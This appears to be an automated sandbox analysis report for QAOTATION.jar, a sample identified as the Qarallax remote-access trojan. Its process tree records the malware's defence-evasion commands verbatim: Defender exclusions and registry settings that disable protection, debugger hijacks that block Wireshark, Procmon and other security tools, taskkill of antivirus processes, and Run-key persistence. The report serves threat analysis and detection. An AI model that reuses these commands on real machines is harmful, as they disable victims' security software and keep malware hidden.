qarallax | f5a935fac6403d609baa306db915ab5da6e9ab91f3c02a08d031bd32a7cede5d

Analysis

max time kernel
148s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
18-08-2020 11:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

QAOTATION.jar
Size

399KB
MD5

8eca12b92226ec7ceb8193771450a074
SHA1

6a426efaa7d416665384c2901644227813ec1894
SHA256

f5a935fac6403d609baa306db915ab5da6e9ab91f3c02a08d031bd32a7cede5d
SHA512

3df544b9cee31c46a093e22972541634f729f029e8157d0020113884618674fc653cd5c62bea4c3ed58a02c1db7f7de1c6428dfe2eea0c615d19641375b19a55

Score

10^/10

qarallax evasion persistence trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
QarallaxRAT
Qarallax is a RAT developed by Quaverse and sold as RaaS (RAT as a Service).
trojan qarallax

Qarallax RAT support DLL 1 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\ynfHBEwEvN5066709710597959979.xml	qarallax_dll

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

584 java.exe

pid	process
584	java.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\UuvhMEW = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\oWsdf\\MIJPw.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\UuvhMEW = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\oWsdf\\MIJPw.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\oWsdf\Desktop.ini	java.exe
File created	C:\Users\Admin\oWsdf\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\oWsdf\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\oWsdf\Desktop.ini	attrib.exe

Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\sLrVR java.exe
File opened for modification C:\Windows\System32\sLrVR java.exe

description	ioc	process
File created	C:\Windows\System32\sLrVR	java.exe
File opened for modification	C:\Windows\System32\sLrVR	java.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4352	taskkill.exe
2060	taskkill.exe
1136	taskkill.exe
2812	taskkill.exe
1208	taskkill.exe
3892	taskkill.exe
4236	taskkill.exe
4436	taskkill.exe
4596	taskkill.exe
3680	taskkill.exe
2340	taskkill.exe
3856	taskkill.exe
4156	taskkill.exe
4604	taskkill.exe
2060	taskkill.exe
4448	taskkill.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

500 powershell.exe
500 powershell.exe
500 powershell.exe

pid	process
500	powershell.exe
500	powershell.exe
500	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3104	WMIC.exe
Token: SeSecurityPrivilege	3104	WMIC.exe
Token: SeTakeOwnershipPrivilege	3104	WMIC.exe
Token: SeLoadDriverPrivilege	3104	WMIC.exe
Token: SeSystemProfilePrivilege	3104	WMIC.exe
Token: SeSystemtimePrivilege	3104	WMIC.exe
Token: SeProfSingleProcessPrivilege	3104	WMIC.exe
Token: SeIncBasePriorityPrivilege	3104	WMIC.exe
Token: SeCreatePagefilePrivilege	3104	WMIC.exe
Token: SeBackupPrivilege	3104	WMIC.exe
Token: SeRestorePrivilege	3104	WMIC.exe
Token: SeShutdownPrivilege	3104	WMIC.exe
Token: SeDebugPrivilege	3104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3104	WMIC.exe
Token: SeRemoteShutdownPrivilege	3104	WMIC.exe
Token: SeUndockPrivilege	3104	WMIC.exe
Token: SeManageVolumePrivilege	3104	WMIC.exe
Token: 33	3104	WMIC.exe
Token: 34	3104	WMIC.exe
Token: 35	3104	WMIC.exe
Token: 36	3104	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3104	WMIC.exe
Token: SeSecurityPrivilege	3104	WMIC.exe
Token: SeTakeOwnershipPrivilege	3104	WMIC.exe
Token: SeLoadDriverPrivilege	3104	WMIC.exe
Token: SeSystemProfilePrivilege	3104	WMIC.exe
Token: SeSystemtimePrivilege	3104	WMIC.exe
Token: SeProfSingleProcessPrivilege	3104	WMIC.exe
Token: SeIncBasePriorityPrivilege	3104	WMIC.exe
Token: SeCreatePagefilePrivilege	3104	WMIC.exe
Token: SeBackupPrivilege	3104	WMIC.exe
Token: SeRestorePrivilege	3104	WMIC.exe
Token: SeShutdownPrivilege	3104	WMIC.exe
Token: SeDebugPrivilege	3104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3104	WMIC.exe
Token: SeRemoteShutdownPrivilege	3104	WMIC.exe
Token: SeUndockPrivilege	3104	WMIC.exe
Token: SeManageVolumePrivilege	3104	WMIC.exe
Token: 33	3104	WMIC.exe
Token: 34	3104	WMIC.exe
Token: 35	3104	WMIC.exe
Token: 36	3104	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3172	WMIC.exe
Token: SeSecurityPrivilege	3172	WMIC.exe
Token: SeTakeOwnershipPrivilege	3172	WMIC.exe
Token: SeLoadDriverPrivilege	3172	WMIC.exe
Token: SeSystemProfilePrivilege	3172	WMIC.exe
Token: SeSystemtimePrivilege	3172	WMIC.exe
Token: SeProfSingleProcessPrivilege	3172	WMIC.exe
Token: SeIncBasePriorityPrivilege	3172	WMIC.exe
Token: SeCreatePagefilePrivilege	3172	WMIC.exe
Token: SeBackupPrivilege	3172	WMIC.exe
Token: SeRestorePrivilege	3172	WMIC.exe
Token: SeShutdownPrivilege	3172	WMIC.exe
Token: SeDebugPrivilege	3172	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3172	WMIC.exe
Token: SeRemoteShutdownPrivilege	3172	WMIC.exe
Token: SeUndockPrivilege	3172	WMIC.exe
Token: SeManageVolumePrivilege	3172	WMIC.exe
Token: 33	3172	WMIC.exe
Token: 34	3172	WMIC.exe
Token: 35	3172	WMIC.exe
Token: 36	3172	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3172	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

584 java.exe

pid	process
584	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 584 wrote to memory of 2812	584	java.exe	cmd.exe
PID 584 wrote to memory of 2812	584	java.exe	cmd.exe
PID 584 wrote to memory of 3980	584	java.exe	cmd.exe
PID 584 wrote to memory of 3980	584	java.exe	cmd.exe
PID 3980 wrote to memory of 3104	3980	cmd.exe	WMIC.exe
PID 3980 wrote to memory of 3104	3980	cmd.exe	WMIC.exe
PID 584 wrote to memory of 424	584	java.exe	cmd.exe
PID 584 wrote to memory of 424	584	java.exe	cmd.exe
PID 424 wrote to memory of 3172	424	cmd.exe	WMIC.exe
PID 424 wrote to memory of 3172	424	cmd.exe	WMIC.exe
PID 584 wrote to memory of 3084	584	java.exe	attrib.exe
PID 584 wrote to memory of 3084	584	java.exe	attrib.exe
PID 584 wrote to memory of 3560	584	java.exe	attrib.exe
PID 584 wrote to memory of 3560	584	java.exe	attrib.exe
PID 584 wrote to memory of 3752	584	java.exe	attrib.exe
PID 584 wrote to memory of 3752	584	java.exe	attrib.exe
PID 584 wrote to memory of 1004	584	java.exe	attrib.exe
PID 584 wrote to memory of 1004	584	java.exe	attrib.exe
PID 584 wrote to memory of 1220	584	java.exe	attrib.exe
PID 584 wrote to memory of 1220	584	java.exe	attrib.exe
PID 584 wrote to memory of 1416	584	java.exe	attrib.exe
PID 584 wrote to memory of 1416	584	java.exe	attrib.exe
PID 584 wrote to memory of 1532	584	java.exe	attrib.exe
PID 584 wrote to memory of 1532	584	java.exe	attrib.exe
PID 584 wrote to memory of 1752	584	java.exe	attrib.exe
PID 584 wrote to memory of 1752	584	java.exe	attrib.exe
PID 584 wrote to memory of 4000	584	java.exe	cmd.exe
PID 584 wrote to memory of 4000	584	java.exe	cmd.exe
PID 4000 wrote to memory of 420	4000	cmd.exe	reg.exe
PID 4000 wrote to memory of 420	4000	cmd.exe	reg.exe
PID 584 wrote to memory of 500	584	java.exe	powershell.exe
PID 584 wrote to memory of 500	584	java.exe	powershell.exe
PID 584 wrote to memory of 2516	584	java.exe	reg.exe
PID 584 wrote to memory of 2516	584	java.exe	reg.exe
PID 584 wrote to memory of 964	584	java.exe	reg.exe
PID 584 wrote to memory of 964	584	java.exe	reg.exe
PID 584 wrote to memory of 3856	584	java.exe	taskkill.exe
PID 584 wrote to memory of 3856	584	java.exe	taskkill.exe
PID 584 wrote to memory of 548	584	java.exe	reg.exe
PID 584 wrote to memory of 548	584	java.exe	reg.exe
PID 584 wrote to memory of 3748	584	java.exe	reg.exe
PID 584 wrote to memory of 3748	584	java.exe	reg.exe
PID 584 wrote to memory of 2336	584	java.exe	reg.exe
PID 584 wrote to memory of 2336	584	java.exe	reg.exe
PID 584 wrote to memory of 1220	584	java.exe	reg.exe
PID 584 wrote to memory of 1220	584	java.exe	reg.exe
PID 584 wrote to memory of 1128	584	java.exe	reg.exe
PID 584 wrote to memory of 1128	584	java.exe	reg.exe
PID 584 wrote to memory of 504	584	java.exe	reg.exe
PID 584 wrote to memory of 504	584	java.exe	reg.exe
PID 584 wrote to memory of 3992	584	java.exe	reg.exe
PID 584 wrote to memory of 3992	584	java.exe	reg.exe
PID 584 wrote to memory of 3220	584	java.exe	reg.exe
PID 584 wrote to memory of 3220	584	java.exe	reg.exe
PID 4000 wrote to memory of 1748	4000	cmd.exe	reg.exe
PID 4000 wrote to memory of 1748	4000	cmd.exe	reg.exe
PID 584 wrote to memory of 1328	584	java.exe	reg.exe
PID 584 wrote to memory of 1328	584	java.exe	reg.exe
PID 584 wrote to memory of 1440	584	java.exe	reg.exe
PID 584 wrote to memory of 1440	584	java.exe	reg.exe
PID 584 wrote to memory of 1208	584	java.exe	taskkill.exe
PID 584 wrote to memory of 1208	584	java.exe	taskkill.exe
PID 584 wrote to memory of 3980	584	java.exe	reg.exe
PID 584 wrote to memory of 3980	584	java.exe	reg.exe

Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

3084 attrib.exe
3560 attrib.exe
3752 attrib.exe
1004 attrib.exe
1220 attrib.exe
1416 attrib.exe
1532 attrib.exe
1752 attrib.exe

pid	process
3084	attrib.exe
3560	attrib.exe
3752	attrib.exe
1004	attrib.exe
1220	attrib.exe
1416	attrib.exe
1532	attrib.exe
1752	attrib.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\QAOTATION.jar
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:584
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\System32\Wbem\WMIC.exe
    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\System32\Wbem\WMIC.exe
    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h C:\Users\Admin\Oracle
  2⤵
  - Views/modifies file attributes
  PID:3084
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s C:\Users\Admin\.ntusernt.ini
  2⤵
  - Views/modifies file attributes
  PID:3560
- C:\Windows\SYSTEM32\attrib.exe
  attrib -s -r C:\Users\Admin\oWsdf\Desktop.ini
  2⤵
  - Drops desktop.ini file(s)
  - Views/modifies file attributes
  PID:3752
- C:\Windows\SYSTEM32\attrib.exe
  attrib +s +r C:\Users\Admin\oWsdf\Desktop.ini
  2⤵
  - Drops desktop.ini file(s)
  - Views/modifies file attributes
  PID:1004
- C:\Windows\SYSTEM32\attrib.exe
  attrib -s -r C:\Users\Admin\oWsdf
  2⤵
  - Views/modifies file attributes
  PID:1220
- C:\Windows\SYSTEM32\attrib.exe
  attrib +s +r C:\Users\Admin\oWsdf
  2⤵
  - Views/modifies file attributes
  PID:1416
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h C:\Users\Admin\oWsdf
  2⤵
  - Views/modifies file attributes
  PID:1532
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s +r C:\Users\Admin\oWsdf\MIJPw.class
  2⤵
  - Views/modifies file attributes
  PID:1752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\system32\reg.exe
    reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
    3⤵
    PID:420
- - C:\Windows\system32\reg.exe
    reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
    3⤵
    PID:1748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\oWsdf','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\oWsdf\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:500
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:2516
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:964
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:3856
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:548
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:3748
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:2336
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:1220
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  PID:1128
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:504
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3992
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3220
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:1328
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:1440
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:1208
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3980
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:2812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1532
- - C:\Windows\system32\reg.exe
    reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
    3⤵
    PID:3104
- - C:\Windows\system32\reg.exe
    reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
    3⤵
    PID:4276
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3984
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1160
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List
    3⤵
    PID:4204
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:2120
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3332
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:1440
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
  2⤵
  PID:3084
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4156
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4324
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
    3⤵
    PID:4420
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
    3⤵
    PID:4444
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4352
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4476
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
    3⤵
    PID:4512
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
    3⤵
    PID:4536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4556
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
    3⤵
    PID:4592
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
    3⤵
    PID:4632
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4604
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4668
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
    3⤵
    PID:4724
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
    3⤵
    PID:4744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4764
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
    3⤵
    PID:4800
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
    3⤵
    PID:4820
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4840
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
    3⤵
    PID:4876
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
    3⤵
    PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4916
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
    3⤵
    PID:4952
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
    3⤵
    PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4992
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
    3⤵
    PID:5028
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
    3⤵
    PID:5052
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5080
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
    3⤵
    PID:1252
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
    3⤵
    PID:1136
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:2060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1164
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
    3⤵
    PID:1004
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
    3⤵
    PID:1640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2092
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
    3⤵
    PID:4148
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
    3⤵
    PID:4104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4176
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
    3⤵
    PID:2116
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
    3⤵
    PID:4224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4156
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
    3⤵
    PID:4272
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
    3⤵
    PID:984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
    3⤵
    PID:740
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
    3⤵
    PID:2788
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2592
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
    3⤵
    PID:4332
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
    3⤵
    PID:4416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
    3⤵
    PID:4376
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
    3⤵
    PID:4484
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4548
